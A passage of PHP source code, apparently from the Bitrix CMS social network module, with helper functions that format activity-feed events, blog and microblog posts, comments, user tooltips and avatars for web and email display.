				&& in_array($event_id, $arEventTmp["FULL_SET"])
			)
			{
				$arFullSet = $arEventTmp["FULL_SET"];
				$bFound = true;
				break;
			}
		}

		if (!$bFound)
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach($arSocNetFeaturesSettings as $arFeatureTmp)
			{
				if (array_key_exists("subscribe_events", $arFeatureTmp))
				{
					foreach($arFeatureTmp["subscribe_events"] as $event_id_tmp => $arEventTmp)
					{
						if (
							array_key_exists("FULL_SET", $arEventTmp)
							&& in_array($event_id, $arEventTmp["FULL_SET"])
						)
						{
							$arFullSet = $arEventTmp["FULL_SET"];
							$bFound = true;
							break;
						}
					}
					if ($bFound)
						break;
				}
			}
		}

		if (!$bFound)
		{
			$arFullSet = array($event_id);
		}

		return $arFullSet;
	}

	public static function FindFullSetEventIDByEventID($event_id)
	{
		$event_id_fullset = false;
		$arSocNetLogEvents = CSocNetAllowed::GetAllowedLogEvents();

		foreach ($arSocNetLogEvents as $event_id_tmp => $arEventTmp)
		{
			if (
				array_key_exists("FULL_SET", $arEventTmp)
				&& is_array($arEventTmp["FULL_SET"])
				&& in_array($event_id, $arEventTmp["FULL_SET"])
			)
			{
				$event_id_fullset = $event_id_tmp;
				break;
			}
		}

		if (!$event_id_fullset)
		{
			$arSocNetFeaturesSettings = CSocNetAllowed::GetAllowedFeatures();
			foreach ($arSocNetFeaturesSettings as $feature_id_tmp => $arFeatureTmp)
			{
				if (array_key_exists("subscribe_events", $arFeatureTmp))
				{
					foreach ($arFeatureTmp["subscribe_events"] as $event_id_tmp => $arEventTmp)
					{
						if (
							array_key_exists("FULL_SET", $arEventTmp)
							&& is_array($arEventTmp["FULL_SET"])
							&& in_array($event_id, $arEventTmp["FULL_SET"])
						)
						{
							$event_id_fullset = $event_id_tmp;
							break;
						}
					}
				}
				if ($event_id_fullset)
					break;
			}
		}

		return $event_id_fullset;
	}

	public static function ShowGroup($arEntityDesc, $strEntityURL, $arParams)
	{
		if (strlen($strEntityURL) > 0)
			$name = "<a href=\"".$strEntityURL."\">".$arEntityDesc["NAME"]."</a>";
		else
			$name = $arEntityDesc["NAME"];

		return $name;
	}

	public static function ShowUser($arEntityDesc, $strEntityURL, $arParams)
	{
		$name = $GLOBALS["APPLICATION"]->IncludeComponent("bitrix:main.user.link",
			'',
			array(
				"ID" => $arEntityDesc["ID"],
				"HTML_ID" => "subscribe_list_".$arEntityDesc["ID"],
				"NAME" => $arEntityDesc["~NAME"],
				"LAST_NAME" => $arEntityDesc["~LAST_NAME"],
				"SECOND_NAME" => $arEntityDesc["~SECOND_NAME"],
				"LOGIN" => $arEntityDesc["~LOGIN"],
				"USE_THUMBNAIL_LIST" => "N",
				"PROFILE_URL" => $strEntityURL,
				"PATH_TO_SONET_MESSAGES_CHAT" => $arParams["~PATH_TO_MESSAGES_CHAT"],
				"PATH_TO_SONET_USER_PROFILE" => $arParams["~PATH_TO_USER"],
				"PATH_TO_VIDEO_CALL" => $arParams["~PATH_TO_VIDEO_CALL"],
				"SHOW_FIELDS" => $arParams["SHOW_FIELDS_TOOLTIP"],
				"USER_PROPERTY" => $arParams["USER_PROPERTY_TOOLTIP"],
				"DATE_TIME_FORMAT" => $arParams["DATE_TIME_FORMAT"],
				"SHOW_YEAR" => $arParams["SHOW_YEAR"],
				"CACHE_TYPE" => $arParams["CACHE_TYPE"],
				"CACHE_TIME" => $arParams["CACHE_TIME"],
				"NAME_TEMPLATE" => $arParams["NAME_TEMPLATE"],
				"SHOW_LOGIN" => $arParams["SHOW_LOGIN"],
				"PATH_TO_CONPANY_DEPARTMENT" => $arParams["~PATH_TO_CONPANY_DEPARTMENT"],
				"DO_RETURN"	=> "Y",
				"INLINE" => "Y",
			),
			false,
			array("HIDE_ICONS" => "Y")
		);

		return $name;
	}

	public static function HasLogEventCreatedBy($event_id)
	{
		$bFound	= false;

		$arEvent = CSocNetLogTools::FindLogEventByID($event_id);
		if ($arEvent)
		{
			if (
				array_key_exists("HAS_CB", $arEvent)
				&& $arEvent["HAS_CB"] == "Y"
			)
				$bFound	= true;
		}
		else
		{
			$arEvent = CSocNetLogTools::FindLogCommentEventByID($event_id);
			if ($arEvent)
				$bFound	= true;
		}

		return $bFound;
	}

	public static function FormatEvent_FillTooltip($arFields, $arParams)
	{
		return array(
			"ID" => $arFields["ID"],
			"NAME" => $arFields["NAME"],
			"LAST_NAME" => $arFields["LAST_NAME"],
			"SECOND_NAME" => $arFields["SECOND_NAME"],
			"LOGIN" => $arFields["LOGIN"],
			"PERSONAL_GENDER" => $arFields["PERSONAL_GENDER"],
			"USE_THUMBNAIL_LIST" => "N",
			"PATH_TO_SONET_MESSAGES_CHAT" => $arParams["PATH_TO_MESSAGES_CHAT"],
			"PATH_TO_SONET_USER_PROFILE" => $arParams["PATH_TO_USER"],
			"PATH_TO_VIDEO_CALL" => $arParams["PATH_TO_VIDEO_CALL"],
			"DATE_TIME_FORMAT" => $arParams["DATE_TIME_FORMAT"],
			"SHOW_YEAR" => $arParams["SHOW_YEAR"],
			"CACHE_TYPE" => $arParams["CACHE_TYPE"],
			"CACHE_TIME" => $arParams["CACHE_TIME"],
			"NAME_TEMPLATE" => $arParams["NAME_TEMPLATE"],
			"SHOW_LOGIN" => $arParams["SHOW_LOGIN"],
			"PATH_TO_CONPANY_DEPARTMENT" => $arParams["PATH_TO_CONPANY_DEPARTMENT"],
			"INLINE" => "Y"
		);
	}

	public static function FormatEvent_CreateAvatar($arFields, $arParams, $source = "CREATED_BY_", $site_id = SITE_ID)
	{
		if (
			isset($arParams["AVATAR_SIZE_COMMON"])
			&& intval($arParams["AVATAR_SIZE_COMMON"]) > 0
		)
		{
			$arParams["AVATAR_SIZE"] = intval($arParams["AVATAR_SIZE_COMMON"]);
		}
		elseif (intval($arParams["AVATAR_SIZE"]) <= 0)
		{
			$arParams["AVATAR_SIZE"] = 30;
		}

		if (strlen($source) > 0 && substr($source, -1) != "_")
			$source .= "_";

		$AvatarPath = false;

		if (intval($arFields[$source."PERSONAL_PHOTO"]) <= 0)
		{
			switch ($arFields[$source."PERSONAL_GENDER"])
			{
				case "M":
					$suffix = "male";
					break;
				case "F":
					$suffix = "female";
					break;
				default:
					$suffix = "unknown";
			}
			$arFields[$source."PERSONAL_PHOTO"] = COption::GetOptionInt("socialnetwork", "default_user_picture_".$suffix, false, $site_id);
		}

		if (intval($arFields[$source."PERSONAL_PHOTO"]) > 0)
		{
			static $cachedAvatars = array();
			if (empty($cachedAvatars[$arParams["AVATAR_SIZE"]][$arFields[$source."PERSONAL_PHOTO"]]))
			{
				$imageFile = CFile::GetFileArray($arFields[$source."PERSONAL_PHOTO"]);
				if ($imageFile !== false)
				{
					$arFileTmp = CFile::ResizeImageGet(
						$imageFile,
						array("width" => $arParams["AVATAR_SIZE"], "height" => $arParams["AVATAR_SIZE"]),
						BX_RESIZE_IMAGE_EXACT,
						false
					);
					$AvatarPath = $arFileTmp["src"];
					$cachedAvatars[$arParams["AVATAR_SIZE"]][$arFields[$source."PERSONAL_PHOTO"]] = $AvatarPath;
				}
			}
			else
				$AvatarPath = $cachedAvatars[$arParams["AVATAR_SIZE"]][$arFields[$source."PERSONAL_PHOTO"]];
		}

		return $AvatarPath;
	}

	public static function FormatEvent_CreateAvatarGroup($arFields, $arParams)
	{
		if (intval($arParams["AVATAR_SIZE"]) <= 0)
			$arParams["AVATAR_SIZE"] = 30;

		$AvatarPath = false;

		if (intval($arFields["IMAGE_ID"]) <= 0)
			$arFields["IMAGE_ID"] = COption::GetOptionInt("socialnetwork", "default_group_picture", false, SITE_ID);

		if (intval($arFields["IMAGE_ID"]) > 0)
		{
			$imageFile = CFile::GetFileArray($arFields["IMAGE_ID"]);
			if ($imageFile !== false)
			{
				$arFileTmp = CFile::ResizeImageGet(
					$imageFile,
					array("width" => $arParams["AVATAR_SIZE"], "height" => $arParams["AVATAR_SIZE"]),
					BX_RESIZE_IMAGE_EXACT,
					false
				);
				$AvatarPath = $arFileTmp["src"];
			}
		}

		return $AvatarPath;
	}


	public static function FormatEvent_IsMessageShort($message, $short_message = false)
	{
		if (!$short_message)
			return (
				strlen(HTMLToTxt($message)) < 1000
				&& (strlen($message) - strlen(HTMLToTxt(htmlspecialcharsback($message)))) <= 0
				? true
				: false
			);
		else
			return (
				strlen($short_message) < 1000
				&& (strlen(htmlspecialcharsback($message)) - strlen($short_message)) <= 0
				? true
				: false
			);
	}

	public static function FormatEvent_GetCreatedBy($arFields, $arParams, $bMail, $bFirstCaps = false)
	{
		if (intval($arFields["USER_ID"]) > 0)
		{
			$arCreatedBy = array();
			if (
				is_array($GLOBALS["arExtranetUserID"]) 
				&& in_array($arFields["USER_ID"], $GLOBALS["arExtranetUserID"]) 
			)
			{
				$arCreatedBy["IS_EXTRANET"] = "Y";
				$suffix = (SITE_TEMPLATE_ID != "bitrix24" ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");
			}
			else
			{
				$arCreatedBy["IS_EXTRANET"] = "N";
			}

			if ($bMail)
			{
				if (
					strlen($arFields["CREATED_BY_NAME"]) > 0
					|| strlen($arFields["CREATED_BY_LAST_NAME"]) > 0
				)
					$arCreatedBy["FORMATTED"] = GetMessage("SONET_GL_EVENT_USER".($bFirstCaps ? "_CAPS" : ""))." ".$arFields["CREATED_BY_NAME"]." ".$arFields["CREATED_BY_LAST_NAME"].$suffix;
				else
					$arCreatedBy["FORMATTED"] = GetMessage("SONET_GL_EVENT_USER".($bFirstCaps ? "_CAPS" : ""))." ".$arFields["CREATED_BY_LOGIN"].$suffix;
			}
			else
			{
				$arFieldsTooltip = array(
					"ID" => $arFields["USER_ID"],
					"NAME" => $arFields["~CREATED_BY_NAME"],
					"LAST_NAME" => $arFields["~CREATED_BY_LAST_NAME"],
					"SECOND_NAME" => $arFields["~CREATED_BY_SECOND_NAME"],
					"LOGIN" => $arFields["~CREATED_BY_LOGIN"],
					"PERSONAL_GENDER" => (!empty($arFields["~CREATED_BY_PERSONAL_GENDER"]) ? $arFields["~CREATED_BY_PERSONAL_GENDER"] : '')
				);
				$arParams["NAME_TEMPLATE"] .= $suffix;
				$arCreatedBy["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);
			}
		}
		else
			$arCreatedBy["FORMATTED"] = GetMessage("SONET_GL_EVENT_ANONYMOUS_USER".($bFirstCaps ? "_CAPS" : ""));

		return $arCreatedBy;
	}

	public static function FormatEvent_GetEntity($arFields, $arParams, $bMail)
	{
		if (
			$arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_USER
			&& intval($arFields["ENTITY_ID"]) > 0
		)
		{
			$suffix = (is_array($GLOBALS["arExtranetUserID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetUserID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

			if ($bMail)
			{
				if (
					strlen($arFields["USER_NAME"]) > 0
					|| strlen($arFields["USER_LAST_NAME"]) > 0
				)
					$arEntity["FORMATTED"] = $arFields["USER_NAME"]." ".$arFields["USER_LAST_NAME"].$suffix;
				else
					$arEntity["FORMATTED"] = $arFields["USER_LOGIN"].$suffix;
				$arEntity["TYPE_MAIL"] = GetMessage("SONET_GL_EVENT_ENTITY_U");
			}
			else
			{
				$arFieldsTooltip = array(
					"ID" => $arFields["ENTITY_ID"],
					"NAME" => $arFields["~USER_NAME"],
					"LAST_NAME" => $arFields["~USER_LAST_NAME"],
					"SECOND_NAME" => $arFields["~USER_SECOND_NAME"],
					"LOGIN" => $arFields["~USER_LOGIN"],
				);
				$arParams["NAME_TEMPLATE"] .= $suffix;
				$arEntity["TOOLTIP_FIELDS"] = CSocNetLogTools::FormatEvent_FillTooltip($arFieldsTooltip, $arParams);
				$arEntity["FORMATTED"] = "";
			}
		}
		elseif (
			$arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP
			&& intval($arFields["ENTITY_ID"]) > 0
		)
		{
			$suffix = (is_array($GLOBALS["arExtranetGroupID"]) && in_array($arFields["ENTITY_ID"], $GLOBALS["arExtranetGroupID"]) ? GetMessage("SONET_LOG_EXTRANET_SUFFIX") : "");

			if ($bMail)
			{
				$arEntity["FORMATTED"] = $arFields["GROUP_NAME"].$suffix;
				$arEntity["TYPE_MAIL"] = GetMessage("SONET_GL_EVENT_ENTITY_G");
			}
			else
			{
				$url = CComponentEngine::MakePathFromTemplate($arParams["PATH_TO_GROUP"], array("group_id" => $arFields["ENTITY_ID"]));

				$arSocNetAllowedSubscribeEntityTypesDesc = CSocNetAllowed::GetAllowedEntityTypesDesc();
				$arEntity["FORMATTED"]["TYPE_NAME"] = $arSocNetAllowedSubscribeEntityTypesDesc[$arFields["ENTITY_TYPE"]]["TITLE_ENTITY"];

				$arEntity["FORMATTED"]["URL"] = $url;
				$arEntity["FORMATTED"]["NAME"] = $arFields["GROUP_NAME"].$suffix;
			}
		}

		return $arEntity;
	}

	public static function FormatEvent_GetURL($arFields, $bAbsolute = false)
	{
		$url = false;
		static $arSiteServerName;

		if (!$arSiteServerName)
		{
			$arSiteServerName = array();
		}

		if (strlen($arFields["URL"]) > 0)
		{
			if (
				!$bAbsolute
				&& (
					strpos($arFields["URL"], "http://") === 0
					|| strpos($arFields["URL"], "https://") === 0
				)
			)
			{
				$bAbsolute = true;
			}

			if (!$bAbsolute)
			{
				if (
					$arFields["ENTITY_TYPE"] == SONET_ENTITY_GROUP 
					&& CModule::IncludeModule("extranet")
				)
				{
					$server_name = "#SERVER_NAME#";
				}
				else
				{
					$rsLogSite = CSocNetLog::GetSite($arFields["ID"]);
					if($arLogSite = $rsLogSite->Fetch())
					{
						$siteID = $arLogSite["LID"];
					}

					if (in_array($siteID, $arSiteServerName))
					{
						$server_name = $arSiteServerName[$siteID];
					}
					else
					{
						$rsSites = CSite::GetByID($siteID);
						$arSite = $rsSites->Fetch();
						$server_name = (strlen($arSite["SERVER_NAME"]) > 0 ? $arSite["SERVER_NAME"] : COption::GetOptionString("main", "server_name", $GLOBALS["SERVER_NAME"]));
						$arSiteServerName[$siteID] = $server_name;
					}
				}

				$protocol = (CMain::IsHTTPS() ? "https" : "http");
				$url = $protocol."://".$server_name.$arFields["URL"];
			}
			else
			{
				$url = $arFields["URL"];
			}
		}

		return $url;
	}

	public static function FormatEvent_Blog($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);
		}

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED"	=> array()
		);
		$arResult["CREATED_BY"]["ACTION_TYPE"] = "wrote";

		if (!$bMail)
		{
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);
		}

		if ($bMail)
		{
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_BLOG_POST_MAIL");

			//if the title duplicates message, don't show it
			$arFields["TITLE"] = (
				strpos($arFields["MESSAGE"], $arFields["TITLE"]) === 0
					? ""
					: ' "'.$arFields["TITLE"].'"'
			);
		}
		else
		{
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_BLOG_POST");
		}

		$post_tmp = (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
				? '<a href="'.$arFields["URL"].'">'.$arFields["TITLE"].'</a>'
				: $arFields["TITLE"]
		);

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($post_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		$title = trim(preg_replace('/\s+/', ' ', $title));

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"TITLE_24" => GetMessage("SONET_GL_EVENT_TITLE_BLOG_POST_24"),
			"TITLE_24_2" => $arFields["TITLE"],
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["~MESSAGE"])
		);

		if (!$bMail)
		{
			if (
				$arParams["NEW_TEMPLATE"] != "Y"
				|| $arFields["EVENT_ID"] == "idea"
			)
			{
				if (CModule::IncludeModule("blog"))
				{
					$parserLog = new blogTextParser(false, $arParams["PATH_TO_SMILE"]);
					$arImages = array();

					$arBlogPost = CBlogPost::GetByID($arFields["SOURCE_ID"]);
					if($arBlogPost["HAS_IMAGES"] != "N")
					{
						$res = CBlogImage::GetList(array("ID"=>"ASC"),array("POST_ID"=>$arBlogPost['ID'], "IS_COMMENT" => "N"));
						while ($arImage = $res->Fetch())
						{
							$arImages[$arImage['ID']] = $arImage['FILE_ID'];
						}
					}
				}
				else
				{
					$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
				}

				$arAllow = array(
					"HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", 
					"IMG" => "Y",
					"QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N", "MULTIPLE_BR" => "N", "VIDEO" => "Y", "LOG_VIDEO" => "N", "SHORT_ANCHOR" => "Y"
				);

				if (get_class($parserLog) == "blogTextParser")
				{
					$arResult["EVENT_FORMATTED"]["MESSAGE"] = $parserLog->html_cut(
						$parserLog->convert(
							htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]),
							true,
							$arImages, 
							$arAllow
						),
						10000
					);
				}
				else
				{
					$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx(
						$parserLog->convert(
							htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), 
							array(), 
							$arAllow
						)
					);
				}
				

				$arResult["EVENT_FORMATTED"]["MESSAGE"] = str_replace(
					"#CUT#",
					'<br><a href="'.$arFields["URL"].'">'.GetMessage("SONET_GL_EVENT_BLOG_MORE").'</a>',
					htmlspecialcharsEx($arResult["EVENT_FORMATTED"]["MESSAGE"])
				);

				$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);

				if ($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP)
					$arResult["EVENT_FORMATTED"]["DESTINATION"] = array(
						array(
							"STYLE" => "sonetgroups",
							"TITLE" => $arResult["ENTITY"]["FORMATTED"]["NAME"],
							"URL" => $arResult["ENTITY"]["FORMATTED"]["URL"],
						)
				);
			}

			$dbRight = CSocNetLogRights::GetList(array(), array("LOG_ID" => $arFields["ID"]));
			while ($arRight = $dbRight->Fetch())
			{
				$arRights[] = $arRight["GROUP_CODE"];
			}

			if ($arParams["MOBILE"] == "Y")
			{
				$arResult["EVENT_FORMATTED"]["DESTINATION"] = CSocNetLogTools::FormatDestinationFromRights($arRights, array_merge($arParams, array("CREATED_BY" => $arFields["USER_ID"], "USE_ALL_DESTINATION" => true)), $iMoreCount);
				if (intval($iMoreCount) > 0)
				{
					$arResult["EVENT_FORMATTED"]["DESTINATION_MORE"] = $iMoreCount;
				}
			}
			else
			{
				$arResult["EVENT_FORMATTED"]["DESTINATION_CODE"] = CSocNetLogTools::GetDestinationFromRights($arRights, array_merge($arParams, array("CREATED_BY" => $arFields["USER_ID"])));
			}
		}
		else
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
			{
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
			}
		}

		$arResult["HAS_COMMENTS"] = (intval($arFields["SOURCE_ID"]) > 0 ? "Y" : "N");

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);
		}

		return $arResult;
	}

	public static function FormatComment_Blog($arFields, $arParams, $bMail = false, $arLog = array())
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);
		}

		$arResult = array(
			"EVENT_FORMATTED"	=> array(),
		);

		if ($bMail)
		{
			$arResult["CREATED_BY"] = CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail);
			$arResult["CREATED_BY"]["ACTION_TYPE"] = "wrote";
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arLog, $arParams, $bMail);
		}
		elseif($arParams["USE_COMMENT"] != "Y")
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, false);

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_BLOG_COMMENT_MAIL");
		else
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_BLOG_COMMENT");

		if (
			!$bMail
			&& array_key_exists("URL", $arLog)
			&& strlen($arLog["URL"]) > 0
		)
			$post_tmp = '<a href="'.$arLog["URL"].'">'.$arLog["TITLE"].'</a>';
		else
			$post_tmp = $arLog["TITLE"];

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($post_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
		);

		if ($bMail)
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arLog);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}
		elseif ($arParams["NEW_TEMPLATE"] != "Y")
		{
			$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
			$arAllow = array(
				"HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y",
				"IMG" => "Y", "LOG_IMG" => "N",
				"QUOTE" => "Y", "LOG_QUOTE" => "N",
				"CODE" => "Y", "LOG_CODE" => "N",
				"FONT" => "Y", "LOG_FONT" => "N",
				"LIST" => "Y",
				"SMILES" => "Y",
				"NL2BR" => "N",
				"MULTIPLE_BR" => "N",
				"VIDEO" => "Y", "LOG_VIDEO" => "N"
			);

			$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
				$parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow),
				500
			);

			$arAllow = array(
				"HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", 
				"IMG" => "Y", 
				"QUOTE" => "Y", 
				"CODE" => "Y", 
				"FONT" => "Y", 
				"LIST" => "Y", 
				"SMILES" => "Y", 
				"NL2BR" => "N", 
				"VIDEO" => "Y", 
				"LOG_VIDEO" => "N",
				"USERFIELDS" => $arFields["UF"],
				"USER" => "Y"
			);
			$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));

			$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);
		}
		else
		{
			$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
			$parserLog->pathToUser = $arParams["PATH_TO_USER"];

			$arAllow = array(
				"HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y",
				"IMG" => "Y", 
				"QUOTE" => "Y", 
				"CODE" => "Y", 
				"FONT" => "Y", 
				"LIST" => "Y", 
				"SMILES" => "Y", 
				"NL2BR" => "N",
				"VIDEO" => "Y", 
				"LOG_VIDEO" => "N",
				"USERFIELDS" => $arFields["UF"],
				"USER" => "Y"
			);
			$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));
		}

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
		{
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);
		}

		return $arResult;
	}

	public static function FormatEvent_Microblog($arFields, $arParams, $bMail = false)
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
			"EVENT" => $arFields,
			"CREATED_BY" => CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail),
			"ENTITY" => CSocNetLogTools::FormatEvent_GetEntity($arFields, $arParams, $bMail),
			"EVENT_FORMATTED" => array(),
		);
		$arResult["CREATED_BY"]["ACTION_TYPE"] = "wrote";

		if (!$bMail)
			$arResult["AVATAR_SRC"] = CSocNetLogTools::FormatEvent_CreateAvatar($arFields, $arParams);

		if ($bMail)
			$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_".($arFields["ENTITY_TYPE"] == SONET_SUBSCRIBE_ENTITY_GROUP ? "GROUP" : "USER")."_BLOG_POST_MICRO_MAIL");
		else
		{
			if(strlen($arFields["URL"]) > 0)
				$title_tmp = "<a href=\"".$arFields["URL"]."\">".GetMessage("SONET_GL_EVENT_TITLE_BLOG_POST_MICRO")."</a>";
			else
				$title_tmp = GetMessage("SONET_GL_EVENT_TITLE_BLOG_POST_MICRO");
		}

		if (
			!$bMail
			&& array_key_exists("URL", $arFields)
			&& strlen($arFields["URL"]) > 0
		)
			$post_tmp = '<a href="'.$arFields["URL"].'">'.$arFields["TITLE"].'</a>';
		else
			$post_tmp = $arFields["TITLE"];

		$title = str_replace(
			array("#TITLE#", "#ENTITY#", "#CREATED_BY#"),
			array($post_tmp, $arResult["ENTITY"]["FORMATTED"], ($bMail ? $arResult["CREATED_BY"]["FORMATTED"] : "")),
			$title_tmp
		);

		$arResult["EVENT_FORMATTED"] = array(
			"TITLE" => $title,
			"MESSAGE" => ($bMail ? $arFields["TEXT_MESSAGE"] : $arFields["MESSAGE"])
		);

		if (!$bMail)
		{
			if ($arParams["NEW_TEMPLATE"] != "Y")
			{
				$parserLog = new logTextParser(false, $arParams["PATH_TO_SMILE"]);
				$arAllow = array(
					"HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y",
					"IMG" => "Y", "LOG_IMG" => "N",
					"QUOTE" => "Y", "LOG_QUOTE" => "N",
					"CODE" => "Y", "LOG_CODE" => "N",
					"FONT" => "Y", "LOG_FONT" => "N",
					"LIST" => "Y",
					"SMILES" => "Y",
					"NL2BR" => "N",
					"MULTIPLE_BR" => "N",
					"VIDEO" => "Y", "LOG_VIDEO" => "N"
				);

				$arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"] = $parserLog->html_cut(
					$parserLog->convert(htmlspecialcharsback(str_replace("#CUT#",	"", $arResult["EVENT_FORMATTED"]["MESSAGE"])), array(), $arAllow),
					1000
				);

				$arAllow = array("HTML" => "Y", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N", "MULTIPLE_BR" => "N", "VIDEO" => "Y", "LOG_VIDEO" => "N");
				$arResult["EVENT_FORMATTED"]["MESSAGE"] = htmlspecialcharsbx($parserLog->convert(htmlspecialcharsback($arResult["EVENT_FORMATTED"]["MESSAGE"]), array(), $arAllow));

				$arResult["EVENT_FORMATTED"]["MESSAGE"] = str_replace(
					"#CUT#",
					'<br><a href="'.$arFields["URL"].'">'.GetMessage("SONET_GL_EVENT_BLOG_MORE").'</a>',
					$arResult["EVENT_FORMATTED"]["MESSAGE"]
				);

				$arResult["EVENT_FORMATTED"]["IS_MESSAGE_SHORT"] = CSocNetLogTools::FormatEvent_IsMessageShort($arResult["EVENT_FORMATTED"]["MESSAGE"], $arResult["EVENT_FORMATTED"]["SHORT_MESSAGE"]);
			}
		}
		else
		{
			$url = CSocNetLogTools::FormatEvent_GetURL($arFields);
			if (strlen($url) > 0)
				$arResult["EVENT_FORMATTED"]["URL"] = $url;
		}

		$arResult["HAS_COMMENTS"] = (intval($arFields["SOURCE_ID"]) > 0 ? "Y" : "N");

		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, LANGUAGE_ID);

		return $arResult;
	}

	function FormatComment_Microblog($arFields, $arParams, $bMail = false, $arLog = array())
	{
		if (
			$bMail
			&& strlen($arFields["MAIL_LANGUAGE_ID"]) > 0
		)
			IncludeModuleLangFile(__FILE__, $arFields["MAIL_LANGUAGE_ID"]);

		$arResult = array(
				"EVENT_FORMATTED"	=> array(),
			);

		if ($bMail)
		{
			$arResult["CREATED_BY"] = CSocNetLogTools::FormatEvent_GetCreatedBy($arFields, $arParams, $bMail, true);
			$arResult["CREATED_BY"]["ACTION_TYPE"] = "wrote";
			$arResult["ENTITY"] = CSocNetLogTools::FormatEvent_GetEntity($arLog, $arParams, $bMail);
		}
		elseif($arParams["USE_COMMENT"] != "Y")
